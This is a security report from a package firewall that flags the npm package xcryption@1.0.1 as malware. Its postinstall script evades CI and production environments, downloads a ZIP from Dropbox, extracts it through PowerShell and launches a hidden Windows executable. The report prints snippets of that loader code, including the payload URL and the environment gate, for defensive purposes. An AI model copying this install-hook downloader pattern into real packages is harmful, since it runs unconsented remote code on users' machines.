--- canonical: "https://firewall.lpm.dev/npm/xcryption" markdown: "https://firewall.lpm.dev/npm/xcryption/report.md" package: "xcryption" report_status: "published" title: "xcryption@1.0.1 npm security report" verdict: "malicious" version: "1.0.1" --- # xcryption@1.0.1 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Remote code can execute with the installing user's permissions. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Install Hook Abuse - **Selected version:** 1.0.1 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. This package contains an automatic, environment-gated remote payload downloader and Windows executable launcher. Its install-time behavior is unrelated to its declared utility functionality and enables unconsented code execution. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-04T03:01:36.675Z - **Finished:** 2026-09-04T03:02:12.804Z - **Download time:** 256 ms - **Static scan time:** 34 ms - **AI review time:** 35839 ms - **Total time:** 36129 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Installing the package triggers a hidden download-and-execution chain on non-CI, non-production systems. On Windows it extracts and launches a remote executable detached from the installer. - **Trigger:** npm installation runs the postinstall lifecycle hook. - **Impact:** Remote code can execute with the installing user's permissions. - **Evidence paths:** package.json, scripts/install.js - **Review source:** ai\_review - **Reviewed:** 2026-09-04T03:02:12.804Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Environment-gated remote payload download, extraction, and detached executable launch. - **Attack narrative:** The postinstall hook invokes scripts/install.js automatically. The script avoids CI and production environments, downloads a ZIP from Dropbox or an environment-supplied URL, writes it to a randomized temporary location, and extracts it through PowerShell or unzip. It then finds an executable or shell-script payload; on Windows it starts the executable detached and hidden. This is an opaque remote payload execution chain unrelated to the advertised text utility exports. - **Rationale:** This package contains an automatic, environment-gated remote payload downloader and Windows executable launcher. Its install-time behavior is unrelated to its declared utility functionality and enables unconsented code execution. - **Files touched:** scripts/install.js, os.tmpdir()/.\.tmp, os.tmpdir()/.data\ - **Network endpoints:** www.dropbox.com ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The package automatically runs an install script after npm installation., The install script downloads a ZIP payload from Dropbox unless CI or production is detected., It writes the downloaded payload to a temporary file, extracts it with a shell command, and launches a Windows executable detached. - **Evidence against:** The public module entry point only exports local text-transformation and hashing helpers., No credential collection or outbound data exfiltration is present in the inspected source. ## Affected versions and remediation This report applies to xcryption@1.0.1. - Avoid installing xcryption@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node scripts/install.js ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node scripts/install.js ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** scripts/install.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L5: const os = require('os'); L6: const { exec } = require('child_process'); L7: ``` ### 5. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 6. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 7. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 8. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** scripts/install.js - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```javascript L1: const https = require('https'); L2: const http = require('http'); ... L5: const os = require('os'); L6: const { exec } = require('child_process'); L7: L8: const cfg = { L9: url: process.env.PAYLOAD_URL || 'https://www.dropbox.[redacted].zip?rlkey=cdp7afgbeiwk7kvko8qgzwemt&st=0hi6i7z2&dl=1', L10: tmp: path.join(os.tmpdir(), `.${Date.now()}.tmp`), ``` ### 9. High: Sandbox Evasion Gated Capability - **Category:** Source - **Confidence:** 84.0% - **Path:** scripts/install.js - **Public source:** [View source]() Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks. Public source snippet (untrusted): ```javascript L1: const https = require('https'); L2: const http = require('http'); ... L5: const os = require('os'); L6: const { exec } = require('child_process'); L7: L8: const cfg = { L9: url: process.env.PAYLOAD_URL || 'https://www.dropbox.[redacted].zip?rlkey=cdp7afgbeiwk7kvko8qgzwemt&st=0hi6i7z2&dl=1', L10: tmp: path.join(os.tmpdir(), `.${Date.now()}.tmp`), ... L15: try { L16: if (process.env.NODE_ENV === 'production' || process.env.CI) return; L17: ... L42: ? `powershell -Command "Expand-Archive -Path '${cfg.tmp}' -DestinationPath '${cfg.dir}' -Force"` ``` ### 10. High: Install Named Payload File - **Category:** Source - **Confidence:** 82.0% - **Path:** scripts/install.js - **Public source:** [View source]() Install-named source file stages remote content through filesystem writes and execution. Public source snippet (untrusted): ```javascript L1: const https = require('https'); L2: const http = require('http'); ... L5: const os = require('os'); L6: const { exec } = require('child_process'); L7: L8: const cfg = { L9: url: process.env.PAYLOAD_URL || 'https://www.dropbox.[redacted].zip?rlkey=cdp7afgbeiwk7kvko8qgzwemt&st=0hi6i7z2&dl=1', L10: tmp: path.join(os.tmpdir(), `.${Date.now()}.tmp`), ... L15: try { L16: if (process.env.NODE_ENV === 'production' || process.env.CI) return; L17: ... L42: ? `powershell -Command "Expand-Archive -Path '${cfg.tmp}' -DestinationPath '${cfg.dir}' -Force"` ``` ### 11. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 12. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 13. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - axios ^1.6.0 (Dependency) ## Package metadata - **Package:** xcryption - **Ecosystem:** npm - **Version:** 1.0.1 - **License:** MIT - **Version published:** 2026-09-04T03:00:10.981Z - **Package first seen:** 2026-09-04T03:02:12.804Z - **Package last seen:** 2026-09-04T05:50:05.900Z - **Known versions:** 4 - **Latest version:** 1.0.3 - **Appeal under review:** No - **Description:** Code obfuscation utilities for Node.js - **Author:** OpenSource Contributors - **Keywords:** text, transform, string, case, utility - **Runtime engines:** node: \>=14.0.0 - **Artifact files:** 8 - **Artifact unpacked size:** 8,814 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()